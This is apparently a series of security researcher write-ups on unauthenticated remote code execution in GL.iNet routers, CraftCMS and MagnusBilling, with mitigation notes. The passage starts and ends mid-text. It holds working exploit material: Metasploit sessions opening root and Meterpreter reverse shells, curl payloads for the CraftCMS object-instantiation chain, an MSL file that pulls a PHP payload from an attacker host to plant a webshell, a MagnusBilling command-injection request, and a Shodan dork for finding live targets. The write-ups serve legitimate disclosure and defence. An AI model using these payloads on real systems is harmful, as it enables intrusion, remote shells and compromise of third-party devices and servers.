Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen o n all addresses. SRVPORT 8080 yes The local port to listen on. Payload information: Description: A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log` interface in the `logread` module. This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen by the attacker. However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be retrieved without knowing a valid username and password. The following GL.iNet network products are vulnerable: - A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0; - MT6000: v4.5.0 - v4.5.3; - MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7; - E750/E750V2, MV1000: v4.3.8; - and potentially others (just try ;-) NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads when using the Linux Dropper target. References: https://nvd.nist.gov/vuln/detail/CVE-2023-50445 https://nvd.nist.gov/vuln/detail/CVE-2023-50919 https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445 https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919 https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md View the full module info with the info -d command.
Scenarios
FirmAE GL.iNet AR300M16 Router Emulation Unix Command – cmd/unix/reverse_netcat
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0 target => 0 msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit [*] Started reverse TCP handler on 192.168.8.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.8.1:80 can be exploited. [!] The service is running, but could not be validated. Product info: |4.3.7|n/a [*] SID: NsPHdkXtENoaotxVZWLqJorU52O7J0OI [*] Executing Unix Command for cmd/unix/reverse_netcat [*] Command shell session 8 opened (192.168.8.2:4444 -> 192.168.8.1:53167) at 2024-01-03 11:12:18 +0000 pwd / id uid=0(root) gid=0(root) groups=0(root),65533(nonevpn) uname -a Linux GL- 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux exit
FirmAE GL.iNet AR300M16 Router Emulation Linux Dropper – linux/mipsbe/meterpreter_reverse_tcp
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1 target => 1 msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit [*] Started reverse TCP handler on 192.168.8.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.8.1:80 can be exploited. [!] The service is running, but could not be validated. Product info: |4.3.7|n/a [*] SID: Gs2KPnIsIQQUzHQkEBVN8JOcq5nV008e [*] Executing Linux Dropper for linux/mipsbe/meterpreter_reverse_tcp [*] Using URL: http://192.168.8.2:1981/OrfVHM15cua0w [*] Client 192.168.8.1 (curl/7.88.1) requested /OrfVHM15cua0w [*] Sending payload to 192.168.8.1 (curl/7.88.1) [*] Meterpreter session 9 opened (192.168.8.2:4444 -> 192.168.8.1:48511) at 2024-01-03 08:30:52 +0000 [*] Command Stager progress - 100.00% done (117/117 bytes) [*] Server stopped. meterpreter > getuid Server username: root meterpreter > sysinfo Computer : 192.168.8.1 OS : (Linux 4.1.17+) Architecture : mips BuildTuple : mips-linux-muslsf Meterpreter : mipsbe/linux meterpreter >
You can find the module here in my local repository or as PR 18648 at the Metasploit Github development.
Mitigation
The following GL.iNet network devices are vulnerable. Please patch your devices to the latest firmware release.
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A =>
v4.0.0 < v4.5.0
- MT6000 =>
v4.5.0 - v4.5.3
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300 =>
v4.3.7
- E750/E750V2, MV1000 =>
v4.3.8
- X3000:
v4.0.0 - v4.4.2
- XE3000:
v4.0.0 - v4.4.3
- SFT1200:
v4.3.6
- and potentially others…
References
CVE-2023-50445
AttackerKB article: CVE-2023-50919 by h00die-gr3y
From zero to botnet: GL.iNet going wild by DZONERZY
GL.iNet home page
GL.iNet API 3.x documentation
GL.iNet API 4.x documentation
GL.iNet unauthenticated RCE – h00die-gr3y Metasploit local repository
GL.iNet unauthenticated RCE – Metasploit PR 18648
FirmAE
FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis
Credits
DZONERZY
And to all other good fellows who raised this concern ;–)
@ccondon-r7, you are most welcome!
Enjoy your upcoming Christmas and New Year.
Technical Analysis
CraftCMS
is a popular content management system that is widely used and available on the Internet. Unfortunately CraftCMS
versions between 4.0.0-RC1
– 4.4.14
are exposed by a vulnerability allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity of the application.
The vulnerability occurs using a PHP object creation in the \craft\controllers\ConditionsController
class which allows to run arbitrary PHP code by escalating the object creation calling some methods available in \GuzzleHttp\Psr7\FnStream
. Using this vulnerability in combination with The Imagick Extension
and MSL
which stands for Magick Scripting Language
, a full RCE can be achieved. MSL
is a built-in ImageMagick
language that facilitates the reading of images, performance of image processing tasks, and writing of results back to the filesystem. This can be leveraged to create a dummy image containing malicious PHP code using the Imagick
constructor class delivering a webshell that can be accessed by the attacker, thereby executing the malicious PHP code and gaining access to the system.
Well, this is quite a mouth full, so let’s take it step by step…
Let’s first touch the part of PHP Object Creation
which is the core of the issue. In this article from ptswarm written by Arseniy Sharoglazov
the concept of PHP’s Arbitrary Object Instantiation
is very well explained that is a flaw in which an attacker can create arbitrary objects. This flaw can come in all shapes and sizes.
Within CraftCMS versions 4.4.14
and below, this flaw can also be leveraged to run arbitrary code on a vulnerable instance.
In this blog published by Thanh
on September 14, the security researchers discovered a PHP object instantiation flaw that resides in the \craft\controllers\ConditionsController
class. The beforeAction
method was identified and provided the ability to create an arbitrary object.
So far, so good, but you will need to find gadgets that can be used to escalate the object creation into something meaningful, like methods that allow to run code. One of these methods was found in the \GuzzleHttp\Psr7\FnStream
class.
public function __destruct() { if (isset($this->_fn_close)) { call_user_func($this->_fn_close); } }
with the curl
command below, you can trigger this flaw calling the method and executing the phpinfo
command.
curl -sk "https://craftcms-vuln.ddev.site" -x localhost:8080 -X POST -d 'action=conditions/render&configObject[class]=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
Capturing the response with burpsuite
shows that the phpinfo
is executed.
Burp response
HTTP/2 500 Internal Server Error Content-Type: text/html; charset=UTF-8 Date: Sun, 17 Dec 2023 17:17:41 GMT Server: nginx X-Powered-By: Craft CMS X-Robots-Tag: none <!doctype html> <html lang="en"> <head> <meta charset="utf-8"/> <title>Invalid Configuration – yii\base\InvalidConfigException</title> --- SNIP REMOVED CONTENT --- <h1 class="p">PHP Version 8.1.26</h1> </td></tr> </table> <table> <tr><td class="e"> System </td> <td class="v"> Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 </td> </tr> <tr><td class="e"> Build Date </td> <td class="v"> Nov 24 2023 13:12:14 </td> </tr> <tr><td class="e"> Build System </td> <td class="v"> Linux </td> </tr> <tr><td class="e"> Server API </td> <td class="v"> FPM/FastCGI </td> </tr> --- ETC ETC ---
This is pretty cool, but it is quite limited what you can execute.
For instance, PHP system()
calls with arguments do not work as well as inline PHP code. We have to find other gadgets that can deliver a full RCE using this flaw.
Let’s go back to the article written by Arseniy Sharoglazov
. In the last section of his article, he explains the Imagick Extension
and more specific to use this extension in combination with the Magick Scripting Language (MSL)
to trigger a full RCE using PHP object instantiation (see section Imagick Extension and RCE #2: VID Scheme).
And surprise, surprise, CraftCMS is using this Imagick Extension
which allows us to build a full RCE.
Using the Imagick
constructor class in combination with MSL
and a VID
schema allows you to read and write images. This can be used to build an out of band RCE reading an image file with PHP code from the attacker controlled host and write it back to the CraftCMS
host for execution.
Step 1:
Create an MSL
file (pawn.msl
) that downloads a vulnerable payload from the attacker host and writes it to CraftCMS
instance.
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="http://attacker_ip:8000/vuln.png" /> <write filename="/var/www/html/web/shell.php" /> </image>
Step 2:
Create the vuln.png
by adding PHP code to a small PNG image and host it on the attacker machine
exiftool -comment="<?php phpinfo(); ?>" vuln.png python3 -m http.server 8000
Step 3:
Call the Imagick
constructor class to upload the MSL
file.
This typically creates a MSL
file with a random filename starting with php<random chars>
in the /tmp
directory on the CraftCMS
instance.
curl -sk "https://craftcms-vuln.ddev.site" -x localhost:8080 -X POST -H 'Content-Type: multipart/form-data' -F 'action=conditions/render' -F 'configObject[class]=craft\elements\conditions\ElementCondition' -F 'config={"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/dev/null"}}}' -F 'filename=@pawn.msl'
Step 4:
Trigger the MSL
file execution using Imagick
constructor class again.
You should see the vulnerable PNG getting downloaded from the attacker machine and copied to shell.php
on the CraftCMS
instance.
curl -sk "https://craftcms-vuln.ddev.site" -x localhost:8080 -X POST -d 'action=conditions/render&configObject[class]=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}'
Step 5:
Run the vulnerable shell code (shell.php
) and you should see the phpinfo
back in the response.
curl -k "https://craftcms-vuln.ddev.site/shell.php" -x localhost:8080 --output -
And things get even better, because you can avoid the out of band download by using caption:
and info:
schemes. The combination of both allows to create a web shell in one go using the MSL
syntax below.
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:<?php phpinfo(); ?>" /> <write filename="info:/var/www/html/web/shell.php" /> </image>
I have created a Metasploit module that checks the vulnerability of a target and makes use of the vulnerability to exploit the target. It allows you to choose from different target options such as deploying and launching a PHP webshell, performing a UNIX command injection or launching native Linux Meterpreter.
You can find the module here in my local repository or as PR 18612 at the Metasploit Github development.
Mitigation
You should update your CraftCMS
application to the latest version or at least to 4.4.15
.
References
CVE-2023-41892
CraftCMS RCE analysis
CraftCMS Advisory
Exploiting Arbitrary Object Instantiations in PHP without Custom Classes
CraftCMS Unauthenticated RCE – h00die-gr3y Metasploit local repository
CraftCMS Unauthenticated RCE – Metasploit PR 18612
CraftCMS Installation
CraftCMS downloading previous versions
Credits
thanhc - https://substack.com/@thanhc
discovery of the vulnerability
Arseniy Sharoglazov - https://swarm.ptsecurity.com/author/arseniy-sharoglazov/
chybeta - https://github.com/chybeta
Technical Analysis
MagnusBilling
is an open source tool written in PHP
and JAVASCRIPT
, using the EXTJS 6
and YII FRAMEWORK
frameworks, aimed at IP telephony providers. It provides a complete and powerful system for anyone to start an IP telephony provider.
Unfortunately a command injection vulnerability exists in MagnusBilling
versions 6 and 7. The vulnerability allows an unauthenticated user to execute arbitrary OS commands on the host, with the privileges of the web server. This is caused by a piece of demonstration code which is present in lib/icepay/icepay.php
, with a call to exec()
at line 753. The parameter to exec()
includes the GET
parameter democ
, which is controlled by the user.
if (isset($_GET['demo'])) { if ($_GET['demo'] == 1) { exec("touch idepay_proccess.php"); } else { exec("rm -rf idepay_proccess.php"); } } if (isset($_GET['democ'])) { if (strlen($_GET['democ']) > 5) { /** begin vulnerable code **/ exec("touch " . $_GET['democ'] . '.txt'); /** end vulnerable code **/ } else { exec("rm -rf *.txt"); } }
An unauthenticated user is able to execute arbitrary OS commands. The commands run with the privileges of the web server process, typically www-data
or asterisk
. At a minimum, this allows an attacker to compromise the billing system and its database.
You can simply test the vulnerability launching a curl
request issuing a blind command injection using a sleep
command, lets say 15 seconds.
Curl
will take approximately 15 seconds to return if the target is vulnerable.
curl 'http://192.168.201.31/mbilling/lib/icepay/icepay.php?democ=iamhacked;sleep%2015;#'
A shodan
search with dork http.html:"magnusbilling"
still shows a significant amount of instances (2200+) that are accessible from the Public Internet from which at least 30%-40% is still vulnerable at the time of writing.
I have created a Metasploit module that checks the vulnerability of a target and makes use of the vulnerability to exploit the target. It allows you to choose from different target options such as deploying and launching an obfuscated PHP
webshell, performing a UNIX
command injection or launching native Linux Meterpreter
.
Module in action
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > info Name: Magnusbilling application unauthenticated Remote Command Execution. Module: exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258 Platform: PHP, Unix, Linux Arch: php, cmd, x64, x86 Privileged: Yes License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2023-06-26 Provided by: h00die-gr3y <h00die.gr3y@gmail.com> Eldstal Module side effects: ioc-in-logs artifacts-on-disk Module stability: crash-safe Module reliability: repeatable-session Available targets: Id Name -- ---- => 0 PHP 1 Unix Command 2 Linux Dropper Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics /using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI /mbilling yes The MagnusBilling endpoint URL URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local ma chine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. When TARGET is 0: Name Current Setting Required Description ---- --------------- -------- ----------- WEBSHELL no The name of the webshell with extension. Webshell name will be randomly generated if left unset. Payload information: Description: A Command Injection vulnerability in magnusbilling application 6.x and 7.x allows remote attackers to run arbitrary commands via unauthenticated HTTP request. A piece of demonstration code is present in `lib/icepay/icepay.php`, with a call to an exec(). The parameter to exec() includes the GET parameter `democ`, which is controlled by the user and not properly sanitised/escaped. After successful exploitation, an unauthenticated user is able to execute arbitrary OS commands. The commands run with the privileges of the web server process, typically `www-data` or `asterisk`. At a minimum, this allows an attacker to compromise the billing system and its database. The following magnusbilling applications are vulnerable: - Magnusbilling application version 6 (all versions); - Magnusbilling application up to version 7.x without commit 7af21ed620 which fixes this vulnerability; References: https://nvd.nist.gov/vuln/detail/CVE-2023-30258 https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258 https://eldstal.se/advisories/230327-magnusbilling.html View the full module info with the info -d command.
Example using the PHP target option
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set rhosts 192.168.201.31 rhosts => 192.168.201.31 msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.201.31:80 can be exploited. [*] Performing command injection test issuing a sleep command of 5 seconds. [*] Elapsed time: 5.1 seconds. [+] The target is vulnerable. Successfully tested command injection. [*] Executing PHP for php/meterpreter/reverse_tcp [*] Sending stage (39927 bytes) to 192.168.201.31 [+] Deleted LfsCVIttNL.php [*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.31:46230) at 2023-10-24 10:26:47 +0000 meterpreter > getuid Server username: asterisk meterpreter > sysinfo Computer : debian OS : Linux debian 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64 Meterpreter : php/linux meterpreter >
You can find the module here in my local repository or as PR 18481 at the Metasploit Github development.
Mitigation
You should update your MagnusBilling
application to the latest version or remove the vulnerable code from the file lib/icepay/icepay.php
under the mbilling
directory at your web server root.
References
CVE-2023-30258
Security Advisory
MagnusBilling Unauthenticated RCE – h00die-gr3y Metasploit local repository
MagnusBilling Unauthenticated RCE – Metasploit PR 18481
MagnusBilling 7
MagnusBilling 6
Credits
eldstal.se
discovery of the vulnerability
I have added an Metasploit module enhancement that to dynamically pull and test the
feature_type
list to establish an RCE. This will make the module more robust towards installations with differentfeature_type
configurations.Credits go to Chocapikk who suggested this change.
See Geoserver enhancement.